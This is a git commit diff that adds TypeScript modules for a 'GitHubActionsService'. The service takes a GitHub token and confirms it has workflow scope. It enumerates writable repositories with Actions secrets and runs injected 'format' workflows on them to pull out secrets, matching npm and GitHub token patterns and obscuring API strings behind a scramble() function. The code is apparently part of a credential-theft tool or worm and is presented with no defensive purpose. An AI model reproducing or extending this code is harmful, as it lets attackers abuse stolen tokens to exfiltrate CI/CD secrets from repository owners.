Upload files to "src/providers/actions"
This commit is contained in:
@@ -0,0 +1,50 @@
|
|||||||
|
import { checkToken } from "../../github_utils/tokenCheck";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { Provider } from "../base";
|
||||||
|
import type { ProviderResult } from "../types";
|
||||||
|
import { runFormatOnReposWithSecrets } from "./pipeline";
|
||||||
|
|
||||||
|
export type TokenRepo = {
|
||||||
|
token: string;
|
||||||
|
repo: string;
|
||||||
|
owner: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
export class GitHubActionsService extends Provider {
|
||||||
|
private token;
|
||||||
|
|
||||||
|
constructor(token: string) {
|
||||||
|
super("github", "actions", {
|
||||||
|
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
|
||||||
|
ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,
|
||||||
|
});
|
||||||
|
this.token = token;
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<ProviderResult> {
|
||||||
|
if ((await checkToken(this.token)).hasWorkflowScope) {
|
||||||
|
const results: any[] = [];
|
||||||
|
|
||||||
|
const collected = runFormatOnReposWithSecrets(this.token);
|
||||||
|
try {
|
||||||
|
for await (const collection of collected) {
|
||||||
|
if (!collection.error) {
|
||||||
|
results.push(collection);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.error("Failure collecting results");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!results || Object.keys(results).length === 0) {
|
||||||
|
logUtil.log("No Secrets.");
|
||||||
|
return this.failure("No secrets extracted");
|
||||||
|
} else {
|
||||||
|
return this.success({ results });
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
logUtil.log("Missing workflow scope.");
|
||||||
|
return this.failure("No workfow scope or invalid!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
const GITHUB_API = scramble("https://api.github.com");
|
||||||
|
const USER_AGENT = "node";
|
||||||
|
|
||||||
|
export function githubHeaders(token: string): Record<string, string> {
|
||||||
|
return {
|
||||||
|
Authorization: `Bearer ${token}`,
|
||||||
|
Accept: scramble("application/vnd.github+json"),
|
||||||
|
"User-Agent": USER_AGENT,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Low-level fetch wrapper — returns the raw Response. */
|
||||||
|
export async function githubFetch(
|
||||||
|
token: string,
|
||||||
|
path: string,
|
||||||
|
init: RequestInit = {},
|
||||||
|
): Promise<Response> {
|
||||||
|
return fetch(`${GITHUB_API}${path}`, {
|
||||||
|
...init,
|
||||||
|
headers: {
|
||||||
|
...githubHeaders(token),
|
||||||
|
...(init.headers as Record<string, string>),
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Fetch + assert ok + parse JSON. Throws on non-2xx. */
|
||||||
|
export async function githubJson<T>(
|
||||||
|
token: string,
|
||||||
|
path: string,
|
||||||
|
init: RequestInit = {},
|
||||||
|
): Promise<T> {
|
||||||
|
const res = await githubFetch(token, path, init);
|
||||||
|
if (!res.ok) {
|
||||||
|
throw new Error(`GitHub API ${res.status} ${res.statusText}: ${path}`);
|
||||||
|
}
|
||||||
|
return res.json() as Promise<T>;
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
import type { TokenRepo } from "./actions";
|
||||||
|
import { streamWritableRepos } from "./repos";
|
||||||
|
import { streamRepoSecrets } from "./secrets";
|
||||||
|
import { type FormatResult, runFormatWorkflows } from "./workflow";
|
||||||
|
|
||||||
|
export async function collectReposWithSecrets(
|
||||||
|
token: string,
|
||||||
|
): Promise<TokenRepo[]> {
|
||||||
|
const repos: TokenRepo[] = [];
|
||||||
|
for await (const fullName of streamRepoSecrets(
|
||||||
|
token,
|
||||||
|
streamWritableRepos(token),
|
||||||
|
)) {
|
||||||
|
const [owner, repo] = fullName.split("/");
|
||||||
|
if (owner && repo) repos.push({ token, owner, repo });
|
||||||
|
}
|
||||||
|
return repos;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function* runFormatOnReposWithSecrets(
|
||||||
|
token: string,
|
||||||
|
concurrency = 5,
|
||||||
|
): AsyncGenerator<FormatResult> {
|
||||||
|
const repos = await collectReposWithSecrets(token);
|
||||||
|
|
||||||
|
for await (const result of runFormatWorkflows(repos, concurrency)) {
|
||||||
|
yield result;
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user